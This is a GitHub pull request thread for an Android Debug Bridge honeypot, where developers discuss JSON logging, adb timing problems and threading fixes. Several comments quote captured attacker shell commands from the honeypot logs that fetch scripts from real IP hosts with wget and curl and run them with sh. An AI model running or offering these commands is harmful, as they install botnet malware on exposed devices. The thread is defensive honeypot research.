Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Implemented JSON logging and other improvements #22

Merged
merged 1 commit into from
Dec 4, 2018
Merged

Implemented JSON logging and other improvements #22

merged 1 commit into from
Dec 4, 2018

Conversation

bontchev
Copy link
Contributor

  • Added new command-line options
    -h, --help
    -v, --version
    -l, --logfile LOGFILE
    -j, --jsonlog JSONLOG
    -s, --sensor SENSOR
    --debug
  • Added short forms (-a and -p) to the command-line options --address and --port.
  • Improved the handling of the command-line options a bit.
  • Added a CONFIG object for containing the configuration; eventually to be filled from a config file.
  • Moved the device ID in a variable at the top, so that it can be changed easily. Eventually, it will be configurable from the config file.
  • Implemented functions for logging to JSON and to text files. A quick and dirty solution that works, for now. Eventually we plan to support output plug-ins.
  • Moved the messages that are sent twice to a separate function that does it.
  • Added logging of session IDs.
  • Added logging of connection terminations.
  • Made the threads start as daemons, to make sure they are terminated when the parent process is.
  • Changed all quotes to single quotes for consistency.
  • Removed the unused variable seq_number.
  • Cleared the logic a little bit.
  • The use of print is now Python 3.x-ready.

This was referenced Nov 27, 2018
Closed
Closed
Closed
@bontchev
Copy link
Contributor Author

bontchev commented Nov 27, 2018 •
edited
Loading

Please make sure you test it extensively before merging. I have tested it, of course (connection, shell command, file upload, disconnection) and it works - but since I've started running it, I am getting very few attacks and they all basically do nothing but abort with an error. Could be a fluke, of course, but I might have messed something up...

@huuck
Copy link
Owner

huuck commented Nov 28, 2018

Gonna test it tonight against my baseline logs. I'll notify you tomorrow on how it went.

@huuck
Copy link
Owner

huuck commented Nov 29, 2018

Gonna wait a bit with the merge. I haven't received any payloads like this "cd /data/local/tmp;wget hxxp://89.46.79.57/br -O- >br;sh br;busybox wget hxxp://89.46.79.57/r -O- >r;sh r;curl hxxp://89.46.79.57/c >c;sh c;busybox curl hxxp://89.46.79.57/bc >bc;sh bc" ever since I deployed the new version. I'll get back tonight with more details.

@ghost
Copy link

ghost commented Nov 29, 2018

89.46.79.57 had been taken down after I reported that host. It was the host I found running the honeypot for about 24 hours. If I remember correctly I only found 1 or to other hosts during that 24 hours, with no more than 1 connection attempt per host. I will run the (new) version over the weekend and see what it gets. Since it hasn't been that busy on the honeypot earlier I do not expect to find many hosts, so not finding much doesn't have to be a glitch in the software per se.
I'll report back my findings after the weekend.
Due to a busy schedule, and being sick, I have to been able to test earlier.

Btw, great work being done here! Keep it up!

@bontchev
Copy link
Contributor Author

bontchev commented Nov 29, 2018 •
edited
Loading

89.46.79.57 might be down, but the infected machines running bots that try to download from it aren't. I've had a single hit from such a bot on 28th. Here's the JSON log:

{"eventid": "adbhoney.session.connect", "src_ip": "115.193.74.152", "session": "8a543a2d2687", "src_port": 46246, "dst_port": 5555, "unixtime": 1543358474, "timestamp": "2018-11-27T22:41:14.145599Z", "message": "New connection: 115.193.74.152:46246 (192.168.0.3:5555) [session: 8a543a2d2687]", "sensor": "vess-box", "dst_ip": "192.168.0.3"}
{"eventid": "adbhoney.command.input", "src_ip": "115.193.74.152", "session": "8a543a2d2687", "input": "cd /data/local/tmp;wget http://89.46.79.57/br -O- >br;sh br;busybox wget http://89.46.79.57/r -O- >r;sh r;curl http://89.46.79.57/c >c;sh c;busybox curl http://89.46.79.57/bc >bc;sh bc", "unixtime": 1543358474, "timestamp": "2018-11-27T22:41:14.562003Z", "message": "shell:cd /data/local/tmp;wget http://89.46.79.57/br -O- >br;sh br;busybox wget http://89.46.79.57/r -O- >r;sh r;curl http://89.46.79.57/c >c;sh c;busybox curl http://89.46.79.57/bc >bc;sh bc", "sensor": "vess-box"}
{"eventid": "adbhoney.session.closed", "src_ip": "115.193.74.152", "session": "8a543a2d2687", "unixtime": 1543358495, "duration": 21.134389877319336, "timestamp": "2018-11-27T22:41:35.279755Z", "message": "Connection reset by peer after 21 seconds", "sensor": "vess-box"}

However, it worries me that I get very few hits in general. For instance, for the whole of November 29, the log contains only connections and disconnections; no infection attempts:

2018-11-28T22:56:51.040146Z     193.238.46.24   connection start (6c385108e3c2)
2018-11-28T22:57:06.564265Z     193.238.46.24    error(104, 'Connection reset by peer') : '\x03\x00\x00+&\xe0\x00\x00\x00\x00\x00Cooki'
2018-11-28T22:57:06.564403Z     193.238.46.24   connection closed (6c385108e3c2)
2018-11-29T00:34:24.918145Z     81.7.14.210     connection start (4f0de3d4ed01)
2018-11-29T00:38:56.324215Z     81.7.14.210     connection closed (4f0de3d4ed01)
2018-11-29T01:33:55.431915Z     81.133.45.149   connection start (1eb6b39e7a94)
2018-11-29T01:40:18.208856Z     81.133.45.149   connection closed (1eb6b39e7a94)
2018-11-29T02:24:29.693559Z     74.82.47.5      connection start (15daa03dba2d)
2018-11-29T02:30:30.341065Z     74.82.47.5      connection closed (15daa03dba2d)
2018-11-29T02:39:47.180389Z     195.231.10.7    connection start (8687fcca15a7)
2018-11-29T02:45:47.571987Z     195.231.10.7    connection closed (8687fcca15a7)
2018-11-29T04:53:50.908919Z     217.175.215.173 connection start (42245dac1ee0)
2018-11-29T04:59:53.393884Z     217.175.215.173 connection closed (42245dac1ee0)
2018-11-29T14:14:54.382606Z     195.231.10.7    connection start (ea389266fcb8)
2018-11-29T14:20:54.774673Z     195.231.10.7    connection closed (ea389266fcb8)
2018-11-29T14:26:39.394649Z     185.156.177.12  connection start (ad0f87e80853)
2018-11-29T14:30:07.820394Z     185.156.177.12   error(104, 'Connection reset by peer') : '\x03\x00\x00/*\xe0\x00\x00\x00\x00\x00Cooki'
2018-11-29T14:30:07.820527Z     185.156.177.12  connection closed (ad0f87e80853)
2018-11-29T15:19:56.531718Z     185.156.177.12  connection start (b507408d1291)
2018-11-29T15:31:23.517734Z     185.156.177.12   error(104, 'Connection reset by peer') : '\x03\x00\x00/*\xe0\x00\x00\x00\x00\x00Cooki'
2018-11-29T15:31:23.517862Z     185.156.177.12  connection closed (b507408d1291)
2018-11-29T17:53:05.724996Z     176.110.224.221 connection start (77d1d5c5f778)
2018-11-29T17:58:46.976278Z     176.110.224.221 connection closed (77d1d5c5f778)
2018-11-29T18:09:22.611663Z     176.110.224.221 connection start (be4c24b72f39)
2018-11-29T18:09:55.567921Z     176.110.224.221  error(104, 'Connection reset by peer') : 'GET /status HTTP'
2018-11-29T18:09:55.568042Z     176.110.224.221 connection closed (be4c24b72f39)
2018-11-29T20:41:02.860782Z     93.76.176.62    connection start (75fb583f3e54)
2018-11-29T20:47:05.321603Z     93.76.176.62    connection closed (75fb583f3e54)

It worries me that I might have screwed something up in the honeypot...

@bontchev
Copy link
Contributor Author

OK, I see a possible problem here...

So far I've been testing the script (after making modifications to it) by issuing adb commands manually. However, I got fed up with that and wrote a small shell script to do it:

adb connect $IP
adb shell "cd /foo/bar;cd snafu"
adb push somefile.bin /data/local
adb disconnect

And, to my surprise, with the original honeypot (branch master) this works but with my modifications (logging to a JSON file turned on), it produces various errors, like

error: device offline

However, if I add a sleep 1 line after each command of the shell script, everything works just fine.

Could it be that, for some reason, the main code of the honeypot is very timing-sensitive? And if it spends additional time to write to logs, it somehow misses the next command or part of it? And, if this is the reason for the problem, any ideas how to fix it? Eventually I'd like to add more logging modules (e.g., to a MySQL database) and the logging will become even slower...

@ghost
Copy link

ghost commented Nov 30, 2018 via email

@huuck
Copy link
Owner

huuck commented Nov 30, 2018

Got a few more hits today:
2018-11-30T12:50:20.531395Z 112.160.27.133 shell:cd /data/local/tmp;wget http://80.211.117.113/br -O- >br;sh br;busybox wget http://80.211.117.113/r -O- >r;sh r;curl http://80.211.117.113/c >c;sh c;busybox curl http://80.211.117.113/bc >bc;sh bc;rm -rf bc br r c;echo lol

And yes, the adb protocol is a bit time sensitive... I'll wait a bit more so we can completely sort this out before merging.

@bontchev
Copy link
Contributor Author

If the protocol is time-sensitive, then my current approach to logging is totally wrong. Is there a way to fix this? Do the communication in an asynchronous way? Use Twisted, perhaps? It's a TCP/IP communication, after all...

@huuck
Copy link
Owner

huuck commented Dec 1, 2018

I'll get home and do a more through testing and review. I'll come back with more answers (hopefully) tomorrow evening.

@bontchev
Copy link
Contributor Author

bontchev commented Dec 2, 2018

During our tests (with my current kind of JSON logging), the honeypot misses shell commands and file uploads if they arrive too fast. Perhaps implement these parts (dumping of file and logging the event, and the logging of the shell command) as threads? The logging of these events might be recorded physically out of order in the logs sometimes, but the timestamps will help ordering them correctly.

@huuck
Copy link
Owner

huuck commented Dec 4, 2018

Gonna merge it, as it provides way better improvements for now. I'll disable JSON logging for now, though.

@huuck huuck merged commit a7765a0 into huuck:master Dec 4, 2018
@bontchev
Copy link
Contributor Author

bontchev commented Dec 4, 2018

OK, folks, I've wasted way too much time trying to figure out what the problem in my code is - and, it turns out, it's not my code that has a problem.

First, I tried to implement the processing of "slow" events (shell commands and file transfers - the ones that occasionally got missed) as threads. No can do - they are still missed occasionally. I was about to start re-doing the whole work from scratch, making minor changes and testing every time - when it occurred to me to test again the original code (what used to be in master, without my patch for JSON logging and other stuff).

Well, surprise, surprise. The original code just missed a "shell" command when it arrived too fast.

I am sorry, folks, but this honeypot does not work correctly. Until the problem is found and fixed, there is no point for me trying to improve it - it will be wasted effort. Problem is, I don't quite understand the protocol, I don't understand how the original code is supposed to work, so there is no hope of me fixing it. @huuck, it's up to you now.

My colleague has implemented config file processing and output plug-ins (with my JSON logging implemented as a plug-in), but I've put these efforts on hold for now. The most urgent task is to get the original code working properly, because currently it doesn't.

My colleague will try to implement the communication in Twisted. If she succeeds (which is not a given), we'll see if the result is a more robust implementation and, if this is the case, we'll start improving that. If not, I am giving up on this project.

Bye for now; I'll be sure to report if we have any progress.

@huuck
Copy link
Owner

huuck commented Dec 4, 2018

Let's not jump to conclusions. I just finished conference season, so I had a few more time on this. It looks like this is a problem that comes from the adb command line and not from the server. Just tried this with two phones, and got the same problems. If you do an adb tcpip 5555 and use a script to send a bunch of shell commands, I keep getting device offline. Could you try that as well with a real phone? I only have 2 to test. If this is the case, JSON logging should be good to go.

Kindest regards,
Gabriel

@t3chn0m4g3
Copy link

@bontchev Thanks for implementing JSON!
@huuck I just re-activated JSON logging for my installation and noticed that logging to file does not work.
Can you guys verify?

@huuck
Copy link
Owner

huuck commented Dec 5, 2018 via email

@t3chn0m4g3
Copy link

@huuck Thanks, I did that for my installation already, however, logging to file does not seem to work for me. Can you verify for your installation or confirm?
Thanks in advance :bowtie:

@t3chn0m4g3
Copy link

Nevermind, missed the return 😄

@bontchev
Copy link
Contributor Author

bontchev commented Dec 5, 2018

@huuck, I cannot test with a real phone - I don't have a smart phone and wouldn't put it on the Internet even if I had one, not even for testing purposes.

We did some additional testing and it seems that commands are missed more often when JSON logging is enabled. This could be just a fluke, of course, but if it is true, it means that things will slow down even more if we implement MySQL logging - and without MySQL logging, the honeypot is useless to us.

My colleague tried to implement the honeypot in Twisted, but she has hit a snag there, too. She receives shell commands but not files. She's working with this reverse-engineered "specification" of the ADB protocol:

https://github.com/cstyan/adbDocumentation#adb-push

Her problem is that she reaches step 12 and then never receives an OKAY from the client, so she can't continue. Does this specification look correct to you? For instance, there is nothing there about sending replies twice.

Anyway, I am giving up on this. I don't really care where the problem is - if it is in the adb client, instead of in the honeypot code, that's even worse, because it means we can't fix it. And, as I said, without the ability of logging the data to a MySQL database, the honeypot is useless to me.

@huuck
Copy link
Owner

huuck commented Dec 5, 2018 via email

@t3chn0m4g3
Copy link

In the meantime I am preparing it for T-Pot

@bontchev
Copy link
Contributor Author

bontchev commented Dec 5, 2018

@huuck, I already tried threading (at least for shell commands and for file transfer). It's a pretty easy change. But it doesn't help - it still misses stuff.

@bontchev
Copy link
Contributor Author

bontchev commented Dec 5, 2018

OK, threaded logging of shell commands and file transfers - pull request #23. I am not really suggesting that you merge it; just play with it to see that it doesn't help, stuff is still missed if it is send very fast with adb.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers
No reviews
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
3 participants
@bontchev @huuck @t3chn0m4g3